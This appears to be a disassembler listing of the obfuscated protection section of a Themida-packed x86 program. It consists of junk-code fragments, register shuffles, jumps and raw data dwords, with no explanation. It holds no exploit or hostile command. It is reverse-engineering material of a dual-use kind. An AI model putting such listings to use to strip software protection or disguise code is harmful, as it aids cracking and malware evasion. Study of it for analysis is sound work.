		dd 24148B36h, 2E5168h, 24148900h, 0C281E289h, 4, 4C281h
		dd 45E90000h, 8F000043h, 248B2404h, 242C8924h, 885485BDh
		dd 6E5C167h, 0E904EC83h, 35h, 0D328A4B2h, 0C3805A66h, 7C02E9B3h
		dd 0C870000h, 0E9555C24h, 57Dh,	0BC50E95Bh, 0EC81FFFFh
		dd 2, 240C8966h, 0D5F6FD88h, 5966EF88h,	1B1BE9h, 24048900h
		dd 53224168h, 2114E94Dh, 0C2310000h, 0FF8596E9h, 4EC81FFh
		dd 0E9000000h, 0FFFF7468h
; ---------------------------------------------------------------------------


loc_55B098:				; CODE XREF: Themida_:00561275j
		sub	esi, eax
		jmp	loc_561725
; ---------------------------------------------------------------------------
aTsk		db 'T銱',0
		dd 4EC8300h, 6341E9h, 2434FF00h, 592434FFh, 0FFE4DAE9h
		dd 7EE957FFh, 9000028h,	34FF1C6Fh, 0EC835D24h, 24048904h
		dd 2B68E089h, 89000043h, 0B8502434h, 4828474Ch,	3213E9h
		db 0
; ---------------------------------------------------------------------------


loc_55B0E1:				; CODE XREF: Themida_:00552448j
		mov	eax, 445D2FE9h
		jmp	loc_566338
; ---------------------------------------------------------------------------


loc_55B0EB:				; CODE XREF: Themida_:00551CF4j
		add	ecx, ebx
		pop	ebx
		mov	edi, [esp]
		push	esi
		jmp	loc_563099
; ---------------------------------------------------------------------------
		db 5Ah
		dd 5724348Bh, 0C781E789h, 4, 4C781h, 3C870000h,	2C335C24h
		dd 242C3124h, 8B242C33h, 81682424h, 8900004Eh, 0E789243Ch
		dd 5D5368h, 240C8900h, 4B9h, 36E95500h,	81FFFFBBh, 4ECh
		dd 240C8900h, 0C1815954h, 4, 5104C183h,	42474FFh, 592434FFh
		dd 4C481h, 48F0000h, 24248B24h,	424468h, 241C8900h, 8E9E389h
		dd 5F000017h, 1C8BD989h, 4C48124h, 68000000h, 94Dh, 0B8240489h
		dd 2B985005h, 0A647E9h
		db 0
; ---------------------------------------------------------------------------


loc_55B18D:				; CODE XREF: Themida_:00554432j
		mov	esi, 0DC40D3Bh
		jmp	loc_55F757
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 242C8900h, 193958BDh, 26E9BA24h, 0F3E96F0Dh, 5C000015h
		dd 0FF6539E9h, 0C48158FFh, 4, 4C781h, 3C870000h, 24248B24h
		dd 1CE9C80Fh
		db 0E5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B1CF:				; CODE XREF: Themida_:00552FD2j
		add	ebp, ecx
		pop	ecx
		jmp	loc_563C83
; ---------------------------------------------------------------------------
		db 0BEh
		dd 41B1AF6h, 315EF589h,	0ED8158C5h, 4B553954h, 2C2DC581h
		dd 0EE29D7E8h, 1425E9h,	1F806800h, 0C890000h, 7B836824h
		dd 83592E6Fh, 0F181FFC1h, 60664EC2h, 1E5868h, 241C8900h
		dd 32F68h, 24048900h, 8C79AC68h, 0BB535860h, 119A6588h
		dd 10F38143h, 0E946A67Bh, 608Ah, 53E08950h, 0FFF18FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55B23D:				; CODE XREF: Themida_:00552FE2j
		sub	esi, 98A6DBD8h
		push	edx
		mov	edx, esi
		mov	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		mov	esi, [esp]
		add	esp, 4
		shr	ebx, 4
		sub	ebx, 4377D2FAh
		add	esi, 50437BDAh
		jmp	loc_55FB5B
; ---------------------------------------------------------------------------


loc_55B26B:				; CODE XREF: Themida_:00564D95j
		mov	bh, ch
		mov	dl, bh
		jmp	loc_566770
; ---------------------------------------------------------------------------
		dd 0E904C483h, 0FFFF979Eh, 3E90E956h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55B282:				; CODE XREF: Themida_:0055BE6Bj
		add	esi, eax
		pop	eax
		and	eax, esi
		jmp	loc_558C0E
; ---------------------------------------------------------------------------
		dd 8704C683h, 575C2434h, 0C781E789h, 4,	4EF81h,	3C870000h
		dd 0B286E924h, 0FD89FFFFh, 8B5DEB89h, 0C481243Ch, 4, 0E95BDE01h
		dd 714Ch, 1F6DF281h, 0D1891542h, 244C315Ah, 1BE95904h
		dd 5A000047h, 81595451h, 4C1h, 4BB5300h, 1000000h, 0FF515BD9h
		dd 59042474h, 0A09AE9h,	241C8700h, 0E924248Bh, 5E7Eh, 7FC8E956h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B302:				; CODE XREF: Themida_:0055D671j
		mov	[eax], bh
		pop	eax
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_55917A
; ---------------------------------------------------------------------------
		db 59h
		dd 0A263E955h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B322:				; CODE XREF: Themida_:00566736j
		push	edx
		push	ecx
		jmp	loc_5657F2
; ---------------------------------------------------------------------------
aIrhbc		db '‰àhC',0
		align 10h
		dd 0BA241489h, 74996278h, 3BBEE955h, 47680000h,	89000023h
		dd 0CDE92404h, 89FFFFDEh, 30B3241Ch, 89B25266h,	848EE9h
		dd 48B6600h, 433EE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55B362:				; CODE XREF: Themida_:00557CABj
		shr	edi, 2
		shl	edi, 1
		neg	edi
		shr	edi, 2
		shl	edi, 2
		jmp	loc_562469
; ---------------------------------------------------------------------------
		dd 4044D0BFh, 5FFB3122h, 0FF85E4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55B381:				; CODE XREF: Themida_:0055BE73j
		add	dword ptr [esp], 4
		mov	ebp, [esp]
		add	esp, 4
		push	edi
		push	ebx
		mov	ebx, 37FA381Eh
		mov	edi, ebx
		jmp	loc_5651D4
; ---------------------------------------------------------------------------
		db 53h
		dd 0DC0882B3h, 0B3C4805Bh, 8058E620h, 0F3305DF6h, 0FF71C3E9h
		dd 71E781FFh, 505B2B2Ch, 0FB2FD9B8h, 5761E937h,	51660000h
		dd 2414F766h, 4E95966h,	89000089h, 58682434h, 5E24BC48h
		db 1, 0F0h, 5Eh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_55FC9B
; ---------------------------------------------------------------------------
		db 68h,	8Eh, 72h
		dd 0C890000h, 10B66824h, 1595B91h, 8EE959CFh
		db 88h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55B403:				; CODE XREF: Themida_:0055DEACj
		xchg	esi, [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, 72A20D3h
		push	edx
		mov	edx, 30ED5659h
		dec	edx
		add	edx, 1019C796h
		sub	esi, edx
		pop	edx
		jmp	loc_55FFA0
; ---------------------------------------------------------------------------
		dd 68h,	2434FF00h, 8B2434FFh, 0C483241Ch, 0EC815304h, 4
		dd 81242489h, 42404h, 815B0000h, 4C3h, 4C38300h, 8904EC83h
		dd 74FF241Ch, 1C8B0424h, 433EE924h, 0E6C00000h,	9805E902h
		dd 0C481FFFFh, 4, 2474FF55h, 9B19E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B47A:				; CODE XREF: Themida_:0056257Aj
		mov	esp, [esp]
		push	ecx
		mov	ecx, 456D60A1h
		push	edi
		jmp	loc_55A2FD
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 74CBC181h, 0BE561422h, 59A81969h, 10BA5246h,	0E9ABF3EDh
		dd 0A70Fh, 0A3E95457h, 8700003Bh, 575C242Ch, 0FFAAD8E9h
		dd 31E6BBFFh, 0B8E90556h, 0F7000074h, 8259E9D6h, 0F75BFFFFh
		dd 2E6C1D6h, 0FFFFC681h, 0B850FFFFh, 197670BFh,	8A6AD62Dh
		dd 0E9D0F73Ah, 0FFFFA64Bh, 24F7BA52h, 0D6314773h, 0E9F2015Ah
		dd 8C8Dh, 0FF2434FFh, 81582434h, 4ECh, 241C8900h, 0E2E3E954h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B50A:				; CODE XREF: Themida_:0055CD25j
		pop	ebx
		jmp	loc_5556DA
; ---------------------------------------------------------------------------
		dd 4EC81h, 24E90000h
		db 64h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B51B:				; CODE XREF: Themida_:005519F4j
		mov	eax, 7D6F7528h
		push	2271h
		mov	[esp], edx
		push	51F66E3Bh
		pop	edx
		jmp	loc_55985F
; ---------------------------------------------------------------------------
aV4jhbsd	db 'V¾4jhb餶',0
		align 2
		dw 0B951h
		dd 2, 5359CD89h, 0DA89EB89h, 0C7815D5Bh, 6F433CFEh, 1833C781h
		dd 0BA5243EAh, 170F4A23h, 0C281DAF7h, 65706F1Fh, 68h, 24142900h
		dd 81D2F75Ah, 7F03BAE2h, 5EEA815Dh, 0E939E500h,	966Fh
; ---------------------------------------------------------------------------


loc_55B584:				; CODE XREF: Themida_:0055C3ABj
		add	esp, 4
		jmp	loc_555D9F
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0E1F72424h, 50E28952h, 77496B8h, 0FFE88329h,	9907E950h
		dd 0E7C10000h, 0E9D7F707h, 964Dh, 7E87055Dh, 77E93B02h
		db 64h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55B5BB:				; CODE XREF: Themida_:0056197Cj
		xor	ebp, ecx
		jmp	loc_5552E7
; ---------------------------------------------------------------------------


loc_55B5C2:				; CODE XREF: Themida_:0055DDDCj
		add	edx, esi
		pop	esi
		jmp	loc_56317D
; ---------------------------------------------------------------------------
		dw 0F928h
		dd 0E9805B66h, 76E980AFh, 89F5E9h, 0FCA6800h, 2C8B7FD1h
		dd 4C48324h, 0FF90C6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55B5E9:				; CODE XREF: Themida_:0056287Ej
		movzx	eax, al
		jmp	dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
		db 61h
		dd 81F9E9h, 8B666400h, 28686602h, 4896669h, 60E8E924h
		dd 0C5FEFFFFh, 88AFC580h, 36E959EFh, 52FFFFDEh,	0C281E289h
		dd 4, 0E904EA83h, 0FFFFF24Fh
; ---------------------------------------------------------------------------


loc_55B624:				; CODE XREF: Themida_:005625B6j
		push	dword ptr [esp+4]
		jmp	loc_55326F
; ---------------------------------------------------------------------------


loc_55B62D:				; CODE XREF: Themida_:005524FBj
		add	esi, 265F4A26h
		push	ebx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		jmp	loc_561BB9
; ---------------------------------------------------------------------------
		dd 231EBF57h, 524756E0h, 4EC81h, 2C890000h, 1D6BBD24h
		dd 23BA5891h, 29695D0Fh, 0C49EE9EAh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B66A:				; CODE XREF: Themida_:00556267j
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, 57A06CA2h
		xor	esi, 63653E45h
		jmp	loc_558D68
; ---------------------------------------------------------------------------
aPssv		db 'Pé‘V',0
		dd 0A4BB5300h, 118D566h, 0FE2CE9DEh, 0E981FFFFh, 4, 5C240C87h
		dd 0FF8F8DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55B6A9:				; CODE XREF: Themida_:005554CDj
		push	dword ptr [esp]
		pop	ebx
		sub	esp, 4
		mov	[esp], ebx
		push	esp
		pop	ebx
		add	ebx, 4
		jmp	loc_5565A5
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0FDE92434h, 0BEFFFF90h, 2A4F4993h, 6FD6E9h
		db 0
; ---------------------------------------------------------------------------


loc_55B6D5:				; CODE XREF: Themida_:00560844j
		pop	ecx
		push	eax
		mov	eax, 18076AA3h
		xor	ecx, eax
		jmp	loc_561ABE
; ---------------------------------------------------------------------------
		db 57h
		dd 902DD0BFh, 0C184E9FEh, 0CD81FFFFh, 699C7A0Ah, 0DFC5814Dh
		dd 2986CD82h, 0DE295DEBh, 83241C8Bh, 0C68104C4h, 0FF4C518Eh
		dd 4EC81h, 57E90000h
		db 5Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55B717:				; CODE XREF: Themida_:00565150j
		sub	ebx, eax
		mov	eax, [esp]
		add	esp, 4
		add	ebx, edx
		jmp	loc_559C54
; ---------------------------------------------------------------------------
		dw 481h
		dd 424h, 0C41CE900h, 0C781FFFFh, 7811B0h, 0E92434FFh, 0FFFF80F4h
		dd 4C48159h, 52000000h,	0FFF107E9h, 240C87FFh, 0E924248Bh
		dd 85BAh, 0B3B35359h, 0E971EB80h, 0FFFFEF7Bh, 57242489h
		dd 1ED0E9h, 4C48100h, 8F000000h, 248B2404h, 0B7B2E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B77E:				; CODE XREF: Themida_:00561148j
		and	edi, 106E2267h
		xor	edi, 2865889h
		push	ebx
		push	edx
		push	6DBB0F38h
		pop	edx
		inc	edx
		xor	edx, 0D7C73E3h
		jmp	loc_5533AF
; ---------------------------------------------------------------------------
		dw 0C89h
		dd 1BA5B924h, 0CB290FB8h, 8BDF2959h, 0C481241Ch, 4, 25D0E9h
		dd 0A4BD5500h, 51368B56h, 4096E9h, 410A0500h, 0F7407476h
		dd 0F47935D0h, 0C689F5DBh, 8FC68158h, 0E93C7D5Fh, 0FFFF73CFh
		dd 83241C8Bh, 0FA3104C4h, 83243C8Bh, 0D10104C4h, 0FFF422E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55B7F5:				; CODE XREF: Themida_:00559610j
		shr	edx, 7
		sub	edx, 0AEA780Fh
		shl	edx, 6
		xor	edx, 7DC2448Dh
		add	edi, edx
		jmp	loc_552014
; ---------------------------------------------------------------------------


loc_55B80E:				; CODE XREF: Themida_:0055C7D6j
		mov	edi, [esp]
		push	eax
		mov	eax, esp
		jmp	loc_557FFF
; ---------------------------------------------------------------------------
aVs9		db '[Vé9+',0
		align 10h
		dd 0C0C2E580h, 0E5C005EDh, 8BB1E908h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55B82E:				; CODE XREF: Themida_:00561924j
		mov	edx, 3B742364h
		push	esi
		mov	esi, 27FD4A0Bh
		and	edx, esi
		jmp	loc_560C4B
; ---------------------------------------------------------------------------
		dd 5704C483h, 4BFh, 46BEE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55B84E:				; CODE XREF: Themida_:00551F89j
		pop	eax
		push	ebp
		push	3E0Ch
		push	esp
		jmp	loc_55BE70
; ---------------------------------------------------------------------------
		db 0B9h
		dd 4, 0FFF3E7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55B865:				; CODE XREF: Themida_:00558495j
		and	edx, ebp
		pop	ebp
		jmp	loc_554594
; ---------------------------------------------------------------------------
		db 51h,	0B9h, 4
		dd 56000000h, 3311E9h
		db 0
; ---------------------------------------------------------------------------


loc_55B879:				; CODE XREF: Themida_:0055D11Ej
		mov	ebx, 4B302839h
		sub	ebx, 4B302835h
		add	eax, ebx
		jmp	loc_562427
; ---------------------------------------------------------------------------
		db 83h
		dd 1C8704EBh, 1C895C24h, 4AE95724h
		db 7Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55B89B:				; CODE XREF: Themida_:00557F28j
		pop	esi
		push	4C3Ah
		mov	[esp], ebx
		mov	ebx, edx
		push	ebx
		sub	dword ptr [esp], 23455526h
		pop	eax
		add	eax, 23455526h
		push	dword ptr [esp]
		pop	ebx
		push	eax
		push	696Fh
		push	esp
		pop	dword ptr [esp]
		jmp	loc_55D79D
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 24048900h, 1F0E9h
		db 0
; ---------------------------------------------------------------------------


loc_55B8D5:				; CODE XREF: Themida_:0056472Fj
		add	esp, 4
		xor	[esp], ebx
		xor	ebx, [esp]
		xor	[esp], ebx
		pop	ebx
		push	5277h
		jmp	loc_5639EF
; ---------------------------------------------------------------------------
		dd 4C1815Ch, 0E9000000h, 0FFFF6087h, 8124048Bh,	4C4h, 5DE82900h
		dd 5C240487h, 83243C89h, 2C8904ECh, 45836824h, 0C15D734Fh
		dd 0CD8105E5h, 4E950748h, 6B9F581h, 0CEE9232Ah,	89000081h
		dd 0B7532414h, 0FD885195h, 0C8BEA88h, 0E2895224h, 4C281h
		dd 0C2810000h, 4, 5C241487h, 1AE9535Bh,	0ACFFFF83h, 2C0FB252h
		dd 4D0285Bh, 2434FF5Bh,	5724148Bh, 0C781E789h, 4, 0E904C783h
		dd 3F04h, 3E36F205h, 242C8B29h,	0FF66C9E9h, 0E8C196FFh
		dd 0B5BA5208h, 0E942DF2Bh, 33BCh
; ---------------------------------------------------------------------------


loc_55B990:				; CODE XREF: Themida_:0055FDAAj
		mov	eax, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	ebx
		mov	ebx, 1CCA261Ah
		xor	edi, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	edx
		mov	edx, edi
		push	edx
		pop	ecx
		pop	edx
		mov	edi, [esp]
		add	esp, 4
		sub	ebx, 74A53211h
		add	ebx, ecx
		jmp	loc_55D58F
; ---------------------------------------------------------------------------
		dw 895Ch
		dd 0B568240Ch, 5400005Dh, 8124048Fh, 42404h, 1DE90000h
		dd 6600003Dh, 0E9240C31h, 4917h
; ---------------------------------------------------------------------------


loc_55B9F0:				; CODE XREF: Themida_:0055DB23j
		sub	eax, 28263B33h
		pop	ecx
		jmp	loc_55DEDB
; ---------------------------------------------------------------------------
		db 33h
		dd 895C2414h, 25E92424h
		db 9Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55BA07:				; CODE XREF: Themida_:0055CFC3j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_55729B
; ---------------------------------------------------------------------------
		dw 6856h
		dd 1DEh, 0B9240C89h, 51D14C64h,	89C88950h, 34FF58C6h, 0C4815924h
		dd 4, 6945B850h, 0BE5609A4h, 60D82711h,	62CDE681h, 814E5318h
		dd 4D50B4F6h, 0E3A9E960h, 0E959FFFFh, 0FFFFF227h, 162F68h
		dd 24348900h, 161A35BEh, 0E9DEF75Ah, 1744h, 0E3C0A0B3h
		dd 0F6DBF602h, 51DBF6D3h, 0E58007B5h, 4EDC000h,	806AE580h
		dd 0F58061E5h, 59EB0089h, 0C05BDE88h, 0CE8005EEh, 0E9DE863Ch
		dd 0FFFFEAEBh, 0DD2D6659h, 0D8016671h, 71DD0566h, 5F98E9h
		dd 9ABA5200h, 81011856h, 0C55C08E2h, 76E94A48h,	53FFFFC4h
		dd 54EEE9h, 0E9E08900h,	0FFFFC267h, 0E9CB895Bh,	0FFFFE1CCh
		dd 241C8B66h, 0FFB133E9h, 87D3F7FFh, 53D5F7EBh,	4713E955h
		dd 815F0000h, 0D1F8FE9h, 55E9016Fh, 417997BDh, 18F58131h
		dd 815E4C66h, 62708E9h,	0E9E90106h, 0A58h, 8704EB83h, 0AFE9241Ch
		dd 68000089h, 22805045h, 0FF2434FFh, 1C8B2434h,	0A5ABE924h
		dd 93BE0000h, 4605A202h, 48A8EE81h, 0E68161CDh,	582627C3h
		dd 0E908E6C1h, 0FFFF7741h, 42Dh, 0B1AAE900h, 0C381FFFFh
		dd 0F3FAD574h, 505BD931h, 49B36856h, 0E95E01D0h, 0FFFF8091h
		dd 81D3295Fh, 0D657E0EBh, 5BDA895Fh, 8904EC83h,	0B668241Ch
		dd 89000006h, 5A5B2414h, 237BCB81h, 16E95B2Ah
		db 0DEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55BB8B:				; CODE XREF: Themida_:00561293j
		or	edi, 74A01515h
		add	edi, 130CB4D8h
		xor	ebp, edi
		jmp	loc_552883
; ---------------------------------------------------------------------------


loc_55BB9E:				; CODE XREF: Themida_:00559375j
		mov	esp, [esp]
		sub	[edi+24h], ecx
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		push	ebx
		sub	esp, 4
		jmp	loc_5551A6
; ---------------------------------------------------------------------------
		dd 24048B66h, 5A7868h, 240C8900h, 0FFB71FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55BBC5:				; CODE XREF: Themida_:0055542Aj
		mov	edi, 688C0664h
		and	edi, 3AAF007Ah
		jmp	loc_557BBC
; ---------------------------------------------------------------------------
		db 59h,	0E9h, 0CDh
		db 15h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55BBDB:				; CODE XREF: Themida_:00552D69j
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 0F114604h
		jmp	loc_552E23
; ---------------------------------------------------------------------------
		dw 0CAFEh
		dd 44E9CAFEh, 5BFFFFC1h, 8904EC83h, 64E9241Ch, 89FFFFAFh
		dd 2C68242Ch, 8B377D1Ah, 0E952242Ch, 0FFFFE3C1h, 8324348Bh
		dd 0BB5304C4h, 62035AE3h, 8105E3C1h, 1200BFF3h,	5CCB814Ch
		dd 8169FC31h, 7956D5C3h, 42C38102h, 1B5FB2Fh, 0EC835BDAh
		dd 24048904h, 937F1FB8h, 8E0C151h, 0E54C2F05h, 0FEA816Dh
		dd 2952DB4Dh, 0FC281C2h, 5852DB4Dh, 0C23FEA81h,	0BCE901E3h
		dd 0B5FFFFBAh, 80DDF67Dh, 0CD803BCDh, 98C580D6h, 5059EF28h
		dd 0E8C060B0h, 34720C08h, 2E34A3h, 0DFF658C7h, 283EEF80h
		dd 0AED0E9F8h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55BCA2:				; CODE XREF: Themida_:00554AF7j
		sub	ebx, 1
		xor	ebx, 0EDBC9333h
		add	esi, 5ED80080h
		add	esi, ebx
		sub	esi, 5ED80080h
		jmp	loc_563F2B
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 0E9000000h, 0FFFFA49Ah
; ---------------------------------------------------------------------------


loc_55BCCC:				; CODE XREF: Themida_:0055A420j
		add	esp, 4
		and	eax, esi
		pop	esi
		jmp	loc_55BD14
; ---------------------------------------------------------------------------
		db 5Dh
		dd 0FFF3E2E9h, 242C8BFFh, 5E08950h, 4, 405h, 24048700h
		dd 2EE3E95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55BCF6:				; CODE XREF: Themida_:00562ECAj
		sub	al, 5Ah
		add	al, 5Dh
		sub	al, cl
		sub	al, 5Dh
		sub	esp, 4
		mov	[esp], ebx
		mov	bh, 5Eh
		push	ecx
		mov	ch, 0D0h
		shl	ch, 3
		jmp	loc_5573C7
; ---------------------------------------------------------------------------


loc_55BD14:				; CODE XREF: Themida_:0055BCD2j
		shr	eax, 10h
		xor	eax, ecx
		push	1F4Fh
		mov	[esp], eax
		sub	esp, 4
		jmp	loc_555B0A
; ---------------------------------------------------------------------------
		db 0B8h, 4, 0
		dd 0C2010000h, 0EE685058h, 89000068h, 12682434h, 5E00B214h
		dd 240CFF56h, 4E6C15Eh,	5E668h,	242C8900h, 54C5B850h, 0E9567A95h
		dd 0FFFFF47Bh
; ---------------------------------------------------------------------------


loc_55BD5C:				; CODE XREF: Themida_:0055EF2Aj
		inc	ebp
		push	edi
		mov	edi, 7E6F1E7h
		sub	ebp, 56747B90h
		jmp	loc_5576CE
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 0C4815F24h, 4, 31241433h, 14332414h,	0A8E95C24h, 80FFFF74h
		dd 0F828CAF7h, 66392C5Bh, 665ED968h, 0B5240C89h, 95E952C1h
		db 67h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55BD9F:				; CODE XREF: Themida_:00559D22j
		add	edx, edi
		pop	edi
		push	eax
		mov	eax, esp
		push	esi
		mov	esi, 1D015503h
		dec	esi
		shl	esi, 3
		sub	esi, 0F625796h
		and	esi, 511B64A3h
		sub	esi, 5008401Eh
		jmp	loc_555996
; ---------------------------------------------------------------------------
		dw 535Ah
		dd 0FF973BE9h, 25EB81FFh, 521FD80Fh, 4C3108BAh,	5AD32960h
		dd 15BD989h, 0ED8159CDh, 3471041Dh, 7B1EF581h, 0D2E91255h
		db 7Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55BDF3:				; CODE XREF: Themida_:005520F3j
		mov	edx, 0FB4099h
		mov	ecx, 7C382762h
		xor	ecx, edx
		pop	edx
		jmp	loc_5645C0
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
aH?		db '$h?',0Ah,0
		align 2
		dw 489h
aIrhcs		db '$‰àhçs',0
		align 4
		dd 0E9243C89h, 1D48h, 81E18951h, 4ECh, 24048900h, 18199DB8h
		dd 0E98CE91Ah, 0C381FFFFh, 4C8B140Ah, 8DE9DBF7h, 0BA000032h
		dd 1E857C52h, 83B0C281h, 0D689E17Ah, 5AC2815Ah,	137E860h
		dd 8E9FE9F2h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55BE5E:				; CODE XREF: Themida_:00555200j
		push	dword ptr [esp]
		jmp	loc_563E9A
; ---------------------------------------------------------------------------


loc_55BE66:				; CODE XREF: Themida_:00563817j
		sub	eax, 0F922B948h
		jmp	loc_55B282
; ---------------------------------------------------------------------------


loc_55BE70:				; CODE XREF: Themida_:0055B856j
		pop	dword ptr [esp]
		jmp	loc_55B381
; ---------------------------------------------------------------------------
		dd 0E901EA80h, 0FFFF5C2Dh, 0FF24248Bh, 68582434h, 644Fh
		dd 81241489h, 4ECh, 240C8900h, 0C181E189h, 4, 4E981h, 0C330000h
		dd 240C3124h, 0E9240C33h, 232Dh
; ---------------------------------------------------------------------------


loc_55BEB4:				; CODE XREF: Themida_:00562E7Fj
		pop	esp
		jmp	loc_55A523
; ---------------------------------------------------------------------------


loc_55BEBA:				; CODE XREF: Themida_:005556B2j
		shl	edi, 1
		inc	edi
		push	ecx
		jmp	loc_566CF9
; ---------------------------------------------------------------------------


loc_55BEC3:				; CODE XREF: Themida_:0055FA60j
		sub	esp, 4
		jmp	loc_55C0CC
; ---------------------------------------------------------------------------
		dw 0DD01h
		dd 1983ED81h, 0E95B127Bh, 0FFFF7A48h, 4BEh, 0FFF70100h
		dd 565E2434h, 0C681E689h, 4, 4BB53h, 0DE010000h, 2434875Bh
		dd 243C335Ch, 0FF9BC1E9h, 0BA5259FFh, 17B71569h, 0EAC1D2F7h
		dd 1DEA8104h, 0F743BF76h, 56EA81D2h, 81192950h,	119719F2h
		dd 5AD1011Ch, 6804C183h, 0F1Bh,	0FF240C89h, 59042474h
		dd 8B24048Fh, 0F2E92424h, 83000071h, 0FF5702C7h, 0E9042474h
		dd 0FFFFF773h
; ---------------------------------------------------------------------------


loc_55BF50:				; CODE XREF: Themida_:00566CF4j
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_564288
; ---------------------------------------------------------------------------
		db 89h,	2Ch, 24h
		dd 0BA52E589h, 4, 64A5E9h, 4B900h, 0EDE90000h, 89FFFF7Ah
		dd 4BE2434h, 81000000h,	1B2C86EAh, 53F22905h, 4B30E955h
		dd 48F0000h, 0FF665C24h, 7F9DE930h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55BF9E:				; CODE XREF: Themida_:0055EFE2j
		pop	ebx
		add	cl, 0E6h
		shr	cl, 2
		shr	cl, 5
		inc	cl
		jmp	loc_561C45
; ---------------------------------------------------------------------------
		db 5Ah
		dd 0DAF7D2F7h, 4C7CE281h, 0EA8169F6h, 0ECBE3160h, 525AD001h
		dd 80B2E9h, 5BDA2900h, 0FFE906E9h, 241C8BFFh, 81E18951h
		dd 4C1h, 4C18100h, 0E9000000h, 0FFFFB087h
; ---------------------------------------------------------------------------


loc_55BFE8:				; CODE XREF: Themida_:00566303j
		pop	esp
		not	edx
		shr	edx, 3
		dec	edx
		push	edx
		not	dword ptr [esp]
		pop	edx
		jmp	loc_566262
; ---------------------------------------------------------------------------
		db 83h,	0EFh, 1
		dd 0FFA6ABE9h, 8BE901FFh, 0C483242Ch, 2A16E904h, 0DD300000h
		dd 0EE88525Bh, 0E9F18851h, 642Fh, 0E591E95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C022:				; CODE XREF: Themida_:005569D6j
		pop	eax
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], edi
		push	20000h
		jmp	loc_55E1D6
; ---------------------------------------------------------------------------


loc_55C036:				; CODE XREF: Themida_:00557498j
		dec	esi
		or	esi, 41487A9Ch
		jmp	loc_566675
; ---------------------------------------------------------------------------


loc_55C042:				; CODE XREF: Themida_:0055CC73j
		pop	edx
		not	ebx
		jmp	loc_553737
; ---------------------------------------------------------------------------
		dw 0E946h
		dd 81F3h
; ---------------------------------------------------------------------------


loc_55C050:				; CODE XREF: Themida_:00559213j
		push	eax
		mov	eax, 1885666Dh
		xor	edi, eax
		jmp	loc_555258
; ---------------------------------------------------------------------------
		db 31h,	0F9h, 0E9h
		dd 1396h, 4C481h, 0EC810000h, 4, 0B1240C89h, 41E9800Ah
		dd 80EE980h, 0C0FE59C8h, 0B151B90Ch, 59C80012h,	8051EB80h
		dd 0C3005FEBh, 0FF5A53E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55C095:				; CODE XREF: Themida_:00559740j
		xor	edi, ebp
		mov	ebp, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		xor	edi, 7EA2449Ah
		jmp	loc_552B76
; ---------------------------------------------------------------------------


loc_55C0B5:				; CODE XREF: Themida_:005564F2j
		add	esp, 4
		push	esi
		jmp	loc_562B3E
; ---------------------------------------------------------------------------


loc_55C0BE:				; CODE XREF: Themida_:00556ACBj
		push	0
		sub	[esp], ebx
		pop	ebx
